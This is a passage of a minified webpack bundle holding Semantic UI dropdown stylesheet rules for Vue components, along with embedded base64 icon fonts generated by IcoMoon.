WYAAABHAUwBZgAAAPUAGQCEAAAAAAAAAAAAAAAAAAAAARAAAAAAAAAAAAAAAAAAAAAAQAAA8NoB4P/g/+AB4AAgAAAAAQAAAAAAAAAAAAAAIAAAAAAAAgAAAAMAAAAUAAMAAQAAABQABAA4AAAACgAIAAIAAgABACDw2v/9//8AAAAAACDw1//9//8AAf/jDy0AAwABAAAAAAAAAAAAAAABAAH//wAPAAEAAAABAAA5emozXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAUAAACAAAAAAADgCuAAEAAAAAAAEADgAAAAEAAAAAAAIADgBHAAEAAAAAAAMADgAkAAEAAAAAAAQADgBVAAEAAAAAAAUAFgAOAAEAAAAAAAYABwAyAAEAAAAAAAoANABjAAMAAQQJAAEADgAAAAMAAQQJAAIADgBHAAMAAQQJAAMADgAkAAMAAQQJAAQADgBVAAMAAQQJAAUAFgAOAAMAAQQJAAYADgA5AAMAAQQJAAoANABjAGkAYwBvAG0AbwBvAG4AVgBlAHIAcwBpAG8AbgAgADEALgAwAGkAYwBvAG0AbwBvAG5pY29tb29uAGkAYwBvAG0AbwBvAG4AUgBlAGcAdQBsAGEAcgBpAGMAbwBtAG8AbwBuAEYAbwBuAHQAIABnAGUAbgBlAHIAYQB0AGUAZAAgAGIAeQAgAEkAYwBvAE0AbwBvAG4ALgAAAAADAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA) format('woff');font-weight:400;font-style:normal}.ui.dropdown>.dropdown.icon[data-v-3d374dd8]{font-family:Dropdown;line-height:1;height:1em;width:1.23em;-webkit-backface-visibility:hidden;backface-visibility:hidden;font-weight:400;font-style:normal;text-align:center;width:auto}.ui.dropdown>.dropdown.icon[data-v-3d374dd8]:before{content:'\\F0D7'}.ui.dropdown .menu .item .dropdown.icon[data-v-3d374dd8]:before{content:'\\F0DA'}.ui.dropdown .item .left.dropdown.icon[data-v-3d374dd8]:before,.ui.dropdown .left.menu .item .dropdown.icon[data-v-3d374dd8]:before{content:\"\\F0D9\"}.ui.vertical.menu .dropdown.item>.dropdown.icon[data-v-3d374dd8]:before{content:\"\\F0DA\"}",""]);
},function(t,e,o){e=t.exports=o(4)(),e.push([t.id,".ui.dropdown .menu>.item.current{background:rgba(0,0,0,.05)}",""])},function(t,e,o){e=t.exports=o(4)(),e.push([t.id,"/*!\n * # Semantic UI 2.2.3 - Dropdown\n * http://github.com/semantic-org/semantic-ui/\n *\n *\n * Released under the MIT license\n * http://opensource.org/licenses/MIT\n *\n */.ui.dropdown[data-v-9d865830]{cursor:pointer;position:relative;display:inline-block;outline:none;text-align:left;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease;-webkit-tap-highlight-color:rgba(0,0,0,0)}.ui.dropdown .menu[data-v-9d865830]{cursor:auto;position:absolute;display:none;outline:none;top:100%;min-width:-webkit-max-content;min-width:-moz-max-content;min-width:max-content;margin:0;padding:0;background:#fff;font-size:1em;text-shadow:none;text-align:left;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:opacity .1s ease;transition:opacity .1s ease;z-index:11;will-change:transform,opacity}.ui.dropdown .menu>[data-v-9d865830]{white-space:nowrap}.ui.dropdown>input[data-v-9d865830]:not(.search):first-child,.ui.dropdown>select[data-v-9d865830]{display:none!important}.ui.dropdown>.dropdown.icon[data-v-9d865830]{position:relative;width:auto;font-size:.85714286em;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon[data-v-9d865830]{width:auto;float:right;margin:0 0 0 1em}.ui.dropdown .menu>.item .dropdown.icon+.text[data-v-9d865830]{margin-right:1em}.ui.dropdown>.text[data-v-9d865830]{display:inline-block;-webkit-transition:none;transition:none}.ui.dropdown .menu>.item[data-v-9d865830]{position:relative;cursor:pointer;display:block;border:none;height:auto;text-align:left;border-top:none;line-height:1em;color:rgba(0,0,0,.87);padding:.78571429rem 1.14285714rem!important;font-size:1rem;text-transform:none;font-weight:400;box-shadow:none;-webkit-touch-callout:none}.ui.dropdown .menu>.item[data-v-9d865830]:first-child{border-top-width:0}.ui.dropdown .menu .item>[class*=\"right floated\"][data-v-9d865830],.ui.dropdown>.text>[class*=\"right floated\"][data-v-9d865830]{float:right!important;margin-right:0!important;margin-left:1em!important}.ui.dropdown .menu .item>[class*=\"left floated\"][data-v-9d865830],.ui.dropdown>.text>[class*=\"left floated\"][data-v-9d865830]{float:left!important;margin-left:0!important;margin-right:1em!important}.ui.dropdown .menu .item>.flag.floated[data-v-9d865830],.ui.dropdown .menu .item>.icon.floated[data-v-9d865830],.ui.dropdown .menu .item>.image.floated[data-v-9d865830],.ui.dropdown .menu .item>img.floated[data-v-9d865830]{margin-top:0}.ui.dropdown .menu>.header[data-v-9d865830]{margin:1rem 0 .75rem;padding:0 1.14285714rem;color:rgba(0,0,0,.85);font-size:.78571429em;font-weight:700;text-transform:uppercase}.ui.dropdown .menu>.divider[data-v-9d865830]{border-top:1px solid rgba(34,36,38,.1);height:0;margin:.5em 0}.ui.dropdown .menu>.input[data-v-9d865830]{width:auto;display:-webkit-box;display:-ms-flexbox;display:flex;margin:1.14285714rem .78571429rem;min-width:10rem}.ui.dropdown .menu>.header+.input[data-v-9d865830]{margin-top:0}.ui.dropdown .menu>.input:not(.transparent) input[data-v-9d865830]{padding:.5em 1em}.ui.dropdown .menu>.input:not(.transparent) .button[data-v-9d865830],.ui.dropdown .menu>.input:not(.transparent) .icon[data-v-9d865830],.ui.dropdown .menu>.input:not(.transparent) .label[data-v-9d865830]{padding-top:.5em;padding-bottom:.5em}.ui.dropdown .menu>.item>.description[data-v-9d865830],.ui.dropdown>.text>.description[data-v-9d865830]{float:right;margin:0 0 0 1em;color:rgba(0,0,0,.4)}.ui.dropdown .menu>.message[data-v-9d865830]{padding:.78571429rem 1.14285714rem;font-weight:400}.ui.dropdown .menu>.message[data-v-9d865830]:not(.ui){color:rgba(0,0,0,.4)}.ui.dropdown .menu .menu[data-v-9d865830]{top:0!important;left:100%!important;right:auto!important;margin:0 0 0 -.5em!important;border-radius:.28571429rem!important;z-index:21!important}.ui.dropdown .menu .menu[data-v-9d865830]:after{display:none}.ui.dropdown .menu>.item>.flag[data-v-9d865830],.ui.dropdown .menu>.item>.icon[data-v-9d865830],.ui.dropdown .menu>.item>.image[data-v-9d865830],.ui.dropdown .menu>.item>.label[data-v-9d865830],.ui.dropdown .menu>.item>img[data-v-9d865830],.ui.dropdown>.text>.flag[data-v-9d865830],.ui.dropdown>.text>.icon[data-v-9d865830],.ui.dropdown>.text>.image[data-v-9d865830],.ui.dropdown>.text>.label[data-v-9d865830],.ui.dropdown>.text>img[data-v-9d865830]{margin-top:0}.ui.dropdown .menu>.item>.flag[data-v-9d865830],.ui.dropdown .menu>.item>.icon[data-v-9d865830],.ui.dropdown .menu>.item>.image[data-v-9d865830],.ui.dropdown .menu>.item>.label[data-v-9d865830],.ui.dropdown .menu>.item>img[data-v-9d865830],.ui.dropdown>.text>.flag[data-v-9d865830],.ui.dropdown>.text>.icon[data-v-9d865830],.ui.dropdown>.text>.image[data-v-9d865830],.ui.dropdown>.text>.label[data-v-9d865830],.ui.dropdown>.text>img[data-v-9d865830]{margin-left:0;float:none;margin-right:.78571429rem}.ui.dropdown .menu>.item>.image[data-v-9d865830],.ui.dropdown .menu>.item>img[data-v-9d865830],.ui.dropdown>.text>.image[data-v-9d865830],.ui.dropdown>.text>img[data-v-9d865830]{display:inline-block;vertical-align:middle;width:auto;max-height:2em}.ui.dropdown .ui.menu>.item[data-v-9d865830]:before,.ui.menu .ui.dropdown .menu>.item[data-v-9d865830]:before{display:none}.ui.menu .ui.dropdown .menu .active.item[data-v-9d865830]{border-left:none}.ui.buttons>.ui.dropdown:last-child .menu[data-v-9d865830],.ui.menu .right.dropdown.item .menu[data-v-9d865830],.ui.menu .right.menu .dropdown:last-child .menu[data-v-9d865830]{left:auto;right:0}.ui.label.dropdown .menu[data-v-9d865830]{min-width:100%}.ui.dropdown.icon.button>.dropdown.icon[data-v-9d865830]{margin:0}.ui.button.dropdown .menu[data-v-9d865830]{min-width:100%}.ui.selection.dropdown[data-v-9d865830]{cursor:pointer;word-wrap:break-word;line-height:1em;white-space:normal;outline:0;-webkit-transform:rotate(0deg);transform:rotate(0deg);min-width:14em;min-height:2.7142em;background:#fff;display:inline-block;padding:.78571429em 2.1em .78571429em 1em;color:rgba(0,0,0,.87);box-shadow:none;border:1px solid rgba(34,36,38,.15);border-radius:.28571429rem;-webkit-transition:box-shadow .1s ease,width .1s ease;transition:box-shadow .1s ease,width .1s ease}.ui.selection.dropdown.active[data-v-9d865830],.ui.selection.dropdown.visible[data-v-9d865830]{z-index:10}select.ui.dropdown[data-v-9d865830]{height:38px;padding:.5em;border:1px solid rgba(34,36,38,.15);visibility:visible}.ui.selection.dropdown>.delete.icon[data-v-9d865830],.ui.selection.dropdown>.dropdown.icon[data-v-9d865830],.ui.selection.dropdown>.search.icon[data-v-9d865830]{cursor:pointer;position:absolute;width:auto;height:auto;line-height:1.2142em;top:.78571429em;right:1em;z-index:3;margin:-.78571429em;padding:.78571429em;opacity:.8;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.compact.selection.dropdown[data-v-9d865830]{min-width:0}.ui.selection.dropdown .menu[data-v-9d865830]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;border-top-width:0!important;width:auto;outline:none;margin:0 -1px;min-width:calc(100% + 2px);width:calc(100% + 2px);border-radius:0 0 .28571429rem .28571429rem;box-shadow:0 2px 3px 0 rgba(34,36,38,.15);-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.selection.dropdown .menu[data-v-9d865830]:after,.ui.selection.dropdown .menu[data-v-9d865830]:before{display:none}.ui.selection.dropdown .menu>.message[data-v-9d865830]{padding:.78571429rem 1.14285714rem}@media only screen and (max-width:767px){.ui.selection.dropdown .menu[data-v-9d865830]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.selection.dropdown .menu[data-v-9d865830]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.selection.dropdown .menu[data-v-9d865830]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.selection.dropdown .menu[data-v-9d865830]{max-height:21.37142857rem}}.ui.selection.dropdown .menu>.item[data-v-9d865830]{border-top:1px solid #fafafa;padding:.78571429rem 1.14285714rem!important;white-space:normal;word-wrap:normal}.ui.selection.dropdown .menu>.hidden.addition.item[data-v-9d865830]{display:none}.ui.selection.dropdown[data-v-9d865830]:hover{border-color:rgba(34,36,38,.35);box-shadow:none}.ui.selection.active.dropdown .menu[data-v-9d865830],.ui.selection.active.dropdown[data-v-9d865830]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.dropdown[data-v-9d865830]:focus{border-color:#96c8da;box-shadow:none}.ui.selection.dropdown:focus .menu[data-v-9d865830]{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.selection.visible.dropdown>.text[data-v-9d865830]:not(.default){font-weight:400;color:rgba(0,0,0,.8)}.ui.selection.active.dropdown:hover .menu[data-v-9d865830],.ui.selection.active.dropdown[data-v-9d865830]:hover{border-color:#96c8da;box-shadow:0 2px 3px 0 rgba(34,36,38,.15)}.ui.active.selection.dropdown>.dropdown.icon[data-v-9d865830],.ui.visible.selection.dropdown>.dropdown.icon[data-v-9d865830]{opacity:1;z-index:3}.ui.active.selection.dropdown[data-v-9d865830]{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.active.empty.selection.dropdown[data-v-9d865830]{border-radius:.28571429rem!important;box-shadow:none!important}.ui.active.empty.selection.dropdown .menu[data-v-9d865830]{border:none!important;box-shadow:none!important}.ui.search.dropdown[data-v-9d865830]{min-width:''}.ui.search.dropdown>input.search[data-v-9d865830]{background:none transparent!important;border:none!important;box-shadow:none!important;cursor:text;top:0;left:1px;width:100%;outline:none;-webkit-tap-highlight-color:rgba(255,255,255,0);padding:inherit;position:absolute;z-index:2}.ui.search.dropdown>.text[data-v-9d865830]{cursor:text;position:relative;left:1px;z-index:3}.ui.search.selection.dropdown>input.search[data-v-9d865830],.ui.search.selection.dropdown>span.sizer[data-v-9d865830]{line-height:1.2142em;padding:.67861429em 2.1em .67861429em 1em}.ui.search.selection.dropdown>span.sizer[data-v-9d865830]{display:none;white-space:pre}.ui.search.dropdown.active>input.search[data-v-9d865830],.ui.search.dropdown.visible>input.search[data-v-9d865830]{cursor:auto}.ui.search.dropdown.active>.text[data-v-9d865830],.ui.search.dropdown.visible>.text[data-v-9d865830]{pointer-events:none}.ui.active.search.dropdown input.search:focus+.text .flag[data-v-9d865830],.ui.active.search.dropdown input.search:focus+.text .icon[data-v-9d865830]{opacity:.45}.ui.active.search.dropdown input.search:focus+.text[data-v-9d865830]{color:hsla(0,0%,45%,.87)!important}.ui.search.dropdown .menu[data-v-9d865830]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch}@media only screen and (max-width:767px){.ui.search.dropdown .menu[data-v-9d865830]{max-height:8.01428571rem}}@media only screen and (min-width:768px){.ui.search.dropdown .menu[data-v-9d865830]{max-height:10.68571429rem}}@media only screen and (min-width:992px){.ui.search.dropdown .menu[data-v-9d865830]{max-height:16.02857143rem}}@media only screen and (min-width:1920px){.ui.search.dropdown .menu[data-v-9d865830]{max-height:21.37142857rem}}.ui.multiple.dropdown[data-v-9d865830]{padding:.22620476em 2.1em .22620476em .35714286em}.ui.multiple.dropdown .menu[data-v-9d865830]{cursor:auto}.ui.multiple.search.dropdown>input.search[data-v-9d865830],.ui.multiple.search.dropdown[data-v-9d865830]{cursor:text}.ui.multiple.dropdown>.label[data-v-9d865830]{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none;display:inline-block;vertical-align:top;white-space:normal;font-size:1em;padding:.35714286em .78571429em;margin:.14285714rem .28571429rem .14285714rem 0;box-shadow:inset 0 0 0 1px rgba(34,36,38,.15)}.ui.multiple.dropdown .dropdown.icon[data-v-9d865830]{margin:'';padding:''}.ui.multiple.dropdown>.text[data-v-9d865830]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.dropdown>.label~input.search[data-v-9d865830]{margin-left:.14285714em!important}.ui.multiple.dropdown>.label~.text[data-v-9d865830]{display:none}.ui.multiple.search.dropdown>.text[data-v-9d865830]{display:inline-block;position:absolute;top:0;left:0;padding:inherit;margin:.45240952em 0 .45240952em .64285714em;line-height:1.21428571em}.ui.multiple.search.dropdown>.label~.text[data-v-9d865830]{display:none}.ui.multiple.search.dropdown>input.search[data-v-9d865830]{position:static;padding:0;max-width:100%;margin:.45240952em 0 .45240952em .64285714em;width:2.2em;line-height:1.21428571em}.ui.inline.dropdown[data-v-9d865830]{cursor:pointer;display:inline-block;color:inherit}.ui.inline.dropdown .dropdown.icon[data-v-9d865830]{margin:0 .5em 0 .21428571em;vertical-align:baseline}.ui.inline.dropdown>.text[data-v-9d865830]{font-weight:700}.ui.inline.dropdown .menu[data-v-9d865830]{cursor:auto;margin-top:.21428571em;border-radius:.28571429rem}.ui.dropdown .menu .active.item[data-v-9d865830]{background:transparent;font-weight:700;color:rgba(0,0,0,.95);box-shadow:none;z-index:12}.ui.dropdown .menu>.item[data-v-9d865830]:hover{background:rgba(0,0,0,.05);color:rgba(0,0,0,.95);z-index:13}.ui.loading.dropdown>i.icon[data-v-9d865830]{height:1em!important;padding:1.14285714em 1.07142857em!important}.ui.loading.dropdown>i.icon[data-v-9d865830]:before{border-radius:500rem;border:.2em solid rgba(0,0,0,.1)}.ui.loading.dropdown>i.icon[data-v-9d865830]:after,.ui.loading.dropdown>i.icon[data-v-9d865830]:before{position:absolute;content:'';top:50%;left:50%;margin:-.64285714em 0 0 -.64285714em;width:1.28571429em;height:1.28571429em}.ui.loading.dropdown>i.icon[data-v-9d865830]:after{box-shadow:0 0 0 1px transparent;-webkit-animation:dropdown-spin .6s linear;animation:dropdown-spin .6s linear;-webkit-animation-iteration-count:infinite;animation-iteration-count:infinite;border-radius:500rem;border-color:#767676 transparent transparent;border-style:solid;border-width:.2em}.ui.loading.dropdown.button>i.icon[data-v-9d865830]:after,.ui.loading.dropdown.button>i.icon[data-v-9d865830]:before{display:none}@-webkit-keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}@keyframes dropdown-spin{0%{-webkit-transform:rotate(0deg);transform:rotate(0deg)}to{-webkit-transform:rotate(1turn);transform:rotate(1turn)}}.ui.default.dropdown:not(.button)>.text[data-v-9d865830],.ui.dropdown:not(.button)>.default.text[data-v-9d865830]{color:hsla(0,0%,75%,.87)}.ui.default.dropdown:not(.button)>input:focus+.text[data-v-9d865830],.ui.dropdown:not(.button)>input:focus+.default.text[data-v-9d865830]{color:hsla(0,0%,45%,.87)}.ui.loading.dropdown>.text[data-v-9d865830]{-webkit-transition:none;transition:none}.ui.dropdown .loading.menu[data-v-9d865830]{display:block;visibility:hidden;z-index:-1}.ui.dropdown .menu .selected.item[data-v-9d865830],.ui.dropdown.selected[data-v-9d865830]{background:rgba(0,0,0,.03);color:rgba(0,0,0,.95)}.ui.dropdown>.filtered.text[data-v-9d865830]{visibility:hidden}.ui.dropdown .filtered.item[data-v-9d865830]{display:none!important}.ui.dropdown.error>.default.text[data-v-9d865830],.ui.dropdown.error>.text[data-v-9d865830],.ui.dropdown.error[data-v-9d865830]{color:#9f3a38}.ui.selection.dropdown.error[data-v-9d865830]{background:#fff6f6;border-color:#e0b4b4}.ui.dropdown.error>.menu .menu[data-v-9d865830],.ui.dropdown.error>.menu[data-v-9d865830],.ui.selection.dropdown.error[data-v-9d865830]:hover{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-9d865830]{color:#9f3a38}.ui.multiple.selection.error.dropdown>.label[data-v-9d865830]{border-color:#e0b4b4}.ui.dropdown.error>.menu>.item[data-v-9d865830]:hover{background-color:#fff2f2}.ui.dropdown.error>.menu .active.item[data-v-9d865830]{background-color:#fdcfcf}.ui.disabled.dropdown[data-v-9d865830],.ui.dropdown .menu>.disabled.item[data-v-9d865830]{cursor:default;pointer-events:none;opacity:.45}.ui.dropdown .menu[data-v-9d865830]{left:0}.ui.dropdown .menu .right.menu[data-v-9d865830],.ui.dropdown .right.menu>.menu[data-v-9d865830]{left:100%!important;right:auto!important;border-radius:.28571429rem!important}.ui.dropdown .menu .left.menu[data-v-9d865830],.ui.dropdown>.left.menu .menu[data-v-9d865830]{left:auto!important;right:100%!important;border-radius:.28571429rem!important}.ui.dropdown .item .left.dropdown.icon[data-v-9d865830],.ui.dropdown .left.menu .item .dropdown.icon[data-v-9d865830]{width:auto;float:left;margin:0 .78571429rem 0 0}.ui.dropdown .item .left.dropdown.icon+.text[data-v-9d865830],.ui.dropdown .left.menu .item .dropdown.icon+.text[data-v-9d865830]{margin-left:1em}.ui.upward.dropdown>.menu[data-v-9d865830]{top:auto;bottom:100%;box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:.28571429rem .28571429rem 0 0}.ui.dropdown .upward.menu[data-v-9d865830]{top:auto!important;bottom:0!important}.ui.simple.upward.active.dropdown[data-v-9d865830],.ui.simple.upward.dropdown[data-v-9d865830]:hover{border-radius:.28571429rem .28571429rem 0 0!important}.ui.upward.dropdown.button:not(.pointing):not(.floating).active[data-v-9d865830]{border-radius:.28571429rem .28571429rem 0 0}.ui.upward.selection.dropdown .menu[data-v-9d865830]{border-top-width:1px!important;border-bottom-width:0!important;box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.upward.selection.dropdown[data-v-9d865830]:hover{box-shadow:0 0 2px 0 rgba(0,0,0,.05)}.ui.active.upward.selection.dropdown[data-v-9d865830]{border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.selection.dropdown.visible[data-v-9d865830]{box-shadow:0 0 3px 0 rgba(0,0,0,.08);border-radius:0 0 .28571429rem .28571429rem!important}.ui.upward.active.selection.dropdown[data-v-9d865830]:hover{box-shadow:0 0 3px 0 rgba(0,0,0,.05)}.ui.upward.active.selection.dropdown:hover .menu[data-v-9d865830]{box-shadow:0 -2px 3px 0 rgba(0,0,0,.08)}.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{overflow-x:hidden;overflow-y:auto}.ui.scrolling.dropdown .menu[data-v-9d865830]{overflow-x:hidden;overflow-y:auto;-webkit-backface-visibility:hidden;backface-visibility:hidden;-webkit-overflow-scrolling:touch;min-width:100%!important;width:auto!important}.ui.dropdown .scrolling.menu[data-v-9d865830]{position:static;overflow-y:auto;border:none;box-shadow:none!important;border-radius:0!important;margin:0!important;min-width:100%!important;width:auto!important;border-top:1px solid rgba(34,36,38,.15)}.ui.dropdown .scrolling.menu>.item.item.item[data-v-9d865830],.ui.scrolling.dropdown .menu .item.item.item[data-v-9d865830]{border-top:none;padding-right:calc(1.14285714rem + 17px)!important}.ui.dropdown .scrolling.menu .item[data-v-9d865830]:first-child,.ui.scrolling.dropdown .menu .item[data-v-9d865830]:first-child{border-top:none}.ui.dropdown>.animating.menu .scrolling.menu[data-v-9d865830],.ui.dropdown>.visible.menu .scrolling.menu[data-v-9d865830]{display:block}@media all and (-ms-high-contrast:none){.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{min-width:calc(100% - 17px)}}@media only screen and (max-width:767px){.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{max-height:10.28571429rem}}@media only screen and (min-width:768px){.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{max-height:15.42857143rem}}@media only screen and (min-width:992px){.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{max-height:20.57142857rem}}@media only screen and (min-width:1920px){.ui.dropdown .scrolling.menu[data-v-9d865830],.ui.scrolling.dropdown .menu[data-v-9d865830]{max-height:20.57142857rem}}.ui.simple.dropdown .menu[data-v-9d865830]:after,.ui.simple.dropdown .menu[data-v-9d865830]:before{display:none}.ui.simple.dropdown .menu[data-v-9d865830]{position:absolute;display:block;overflow:hidden;top:-9999px!important;opacity:0;width:0;height:0;-webkit-transition:opacity .1s ease;transition:opacity .1s ease}.ui.simple.active.dropdown[data-v-9d865830],.ui.simple.dropdown[data-v-9d865830]:hover{border-bottom-left-radius:0!important;border-bottom-right-radius:0!important}.ui.simple.active.dropdown>.menu[data-v-9d865830],.ui.simple.dropdown:hover>.menu[data-v-9d865830]{overflow:visible;width:auto;height:auto;top:100%!important;opacity:1}.ui.simple.dropdown:hover>.menu>.item:hover>.menu[data-v-9d865830],.ui.simple.dropdown>.menu>.item:active>.menu[data-v-9d865830]{overflow:visible;width:auto;height:auto;top:0!important;left:100%!important;opacity:1}.ui.simple.disabled.dropdown:hover .menu[data-v-9d865830]{display:none;height:0;width:0;overflow:hidden}.ui.simple.visible.dropdown>.menu[data-v-9d865830]{display:block}.ui.fluid.dropdown[data-v-9d865830]{display:block;width:100%;min-width:0}.ui.fluid.dropdown>.dropdown.icon[data-v-9d865830]{float:right}.ui.floating.dropdown .menu[data-v-9d865830]{left:0;right:auto;box-shadow:0 2px 4px 0 rgba(34,36,38,.12),0 2px 10px 0 rgba(34,36,38,.15)!important;border-radius:.28571429rem!important}.ui.floating.dropdown>.menu[data-v-9d865830]{margin-top:.5em!important;border-radius:.28571429rem!important}.ui.pointing.dropdown>.menu[data-v-9d865830]{top:100%;margin-top:.78571429rem;border-radius:.28571429rem}.ui.pointing.dropdown>.menu[data-v-9d865830]:after{display:block;position:absolute;pointer-events:none;content:'';visibility:visible;-webkit-transform:rotate(45deg);transform:rotate(45deg);width:.5em;height:.5em;box-shadow:-1px -1px 0 1px rgba(34,36,38,.15);background:#fff;z-index:2;top:-.25em;left:50%;margin:0 0 0 -.25em}.ui.top.left.pointing.dropdown>.menu[data-v-9d865830]{top:100%;bottom:auto;left:0;right:auto;margin:1em 0 0}.ui.top.left.pointing.dropdown>.menu[data-v-9d865830]:after{top:-.25em;left:1em;right:auto;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.top.right.pointing.dropdown>.menu[data-v-9d865830]{top:100%;bottom:auto;right:0;left:auto;margin:1em 0 0}.ui.top.right.pointing.dropdown>.menu[data-v-9d865830]:after{top:-.25em;left:auto;right:1em;margin:0;-webkit-transform:rotate(45deg);transform:rotate(45deg)}.ui.left.pointing.dropdown>.menu[data-v-9d865830]{top:0;left:100%;right:auto;margin:0 0 0 1em}.ui.left.pointing.dropdown>.menu[data-v-9d865830]:after{top:1em;left:-.25em;margin:0;-webkit-transform:rotate(-45deg);transform:rotate(-45deg)}.ui.right.pointing.dropdown>.menu[data-v-9d865830]{top:0;left:auto;right:100%;margin:0 1em 0 0}.ui.right.pointing.dropdown>.menu[data-v-9d865830]:after{top:1em;left:auto;right:-.25em;margin:0;-webkit-transform:rotate(135deg);transform:rotate(135deg)}.ui.bottom.pointing.dropdown>.menu[data-v-9d865830]{top:auto;bottom:100%;left:0;right:auto;margin:0 0 1em}.ui.bottom.pointing.dropdown>.menu[data-v-9d865830]:after{top:auto;bottom:-.25em;right:auto;margin:0;-webkit-transform:rotate(-135deg);transform:rotate(-135deg)}.ui.bottom.pointing.dropdown>.menu .menu[data-v-9d865830]{top:auto!important;bottom:0!important}.ui.bottom.left.pointing.dropdown>.menu[data-v-9d865830]{left:0;right:auto}.ui.bottom.left.pointing.dropdown>.menu[data-v-9d865830]:after{left:1em;right:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-9d865830]{right:0;left:auto}.ui.bottom.right.pointing.dropdown>.menu[data-v-9d865830]:after{left:auto;right:1em}.ui.upward.pointing.dropdown>.menu[data-v-9d865830],.ui.upward.top.pointing.dropdown>.menu[data-v-9d865830]{top:auto;bottom:100%;margin:0 0 .78571429rem;border-radius:.28571429rem}.ui.upward.pointing.dropdown>.menu[data-v-9d865830]:after,.ui.upward.top.pointing.dropdown>.menu[data-v-9d865830]:after{top:100%;bottom:auto;box-shadow:1px 1px 0 1px rgba(34,36,38,.15);margin:-.25em 0 0}@font-face{font-family:Dropdown;src:url(data:application/x-font-ttf;charset=utf-8;base64,AAEAAAALAIAAAwAwT1MvMggjB5AAAAC8AAAAYGNtYXAPfuIIAAABHAAAAExnYXNwAAAAEAAAAWgAAAAIZ2x5Zjo82LgAAAFwAAABVGhlYWQAQ88bAAACxAAAADZoaGVhAwcB6QAAAvwAAAAkaG10eAS4ABIAAAMgAAAAIGxvY2EBNgDeAAADQAAAABJtYXhwAAoAFgAAA1QAAAAgbmFtZVcZpu4AAAN0AAABRXBvc3QAAwAAAAAEvAAAACAAAwIAAZAABQAAAUwBZgAAAEcBTAFmAAAA9QAZAIQAAAAAAAAAAAAAAAAAAAABEAAAAAAAAAAAAAAAAAAAAABAAADw2gHg/+D/4AHgACAAAAABAAAAAAAAAAAAAAAgAAAAAAACAAAAAwAAABQAAwABAAAAFAAEADgAAAAKAAgAAgACAAEAIPDa//3//wAAAAAAIPDX//3//wAB/+MPLQADAAEAAAAAAAAAAAAAAAEAAf//AA8AAQAAAAAAAAAAAAIAADc5AQAAAAABAAAAAAAAAAAAAgAANzkBAAAAAAEAAAAAAAAAAAACAAA3OQEAAAAAAQAAAIABJQElABMAABM0NzY3BTYXFhUUDwEGJwYvASY1AAUGBwEACAUGBoAFCAcGgAUBEgcGBQEBAQcECQYHfwYBAQZ/BwYAAQAAAG4BJQESABMAADc0PwE2MzIfARYVFAcGIyEiJyY1AAWABgcIBYAGBgUI/wAHBgWABwaABQWABgcHBgUFBgcAAAABABIASQC3AW4AEwAANzQ/ATYXNhcWHQEUBwYnBi8BJjUSBoAFCAcFBgYFBwgFgAbbBwZ/BwEBBwQJ/wgEBwEBB38GBgAAAAABAAAASQClAW4AEwAANxE0NzYzMh8BFhUUDwEGIyInJjUABQYHCAWABgaABQgHBgVbAQAIBQYGgAUIBwWABgYFBwAAAAEAAAABAADZuaKOXw889QALAgAAAAAA0ABHWAAAAADQAEdYAAAAAAElAW4AAAAIAAIAAAAAAAAAAQAAAeD/4AAAAgAAAAAAASUAAQAAAAAAAAAAAAAAAAAAAAgAAAAAAAAAAAAAAAABAAAAASUAAAElAAAAtwASALcAAAAAAAAACgAUAB4AQgBkAIgAqgAAAAEAAAAIABQAAQAAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAOAK4AAQAAAAAAAQAOAAAAAQAAAAAAAgAOAEcAAQAAAAAAAwAOACQAAQAAAAAABAAOAFUAAQAAAAAABQAWAA4AAQAAAAAABgAHADIAAQAAAAAACgA0AGMAAwABBAkAAQAOAAAAAwABBAkAAgAOAEcAAwABBAkAAwAOACQAAwABBAkABAAOAFUAAwABBAkABQAWAA4AAwABBAkABgAOADkAAwABBAkACgA0AGMAaQBjAG8AbQBvAG8AbgBWAGUAcgBzAGkAbwBuACAAMQAuADAAaQBjAG8AbQBvAG8Abmljb21vb24AaQBjAG8AbQBvAG8AbgBSAGUAZwB1AGwAYQByAGkAYwBvAG0AbwBvAG4ARgBvAG4AdAAgAGcAZQBuAGUAcgBhAH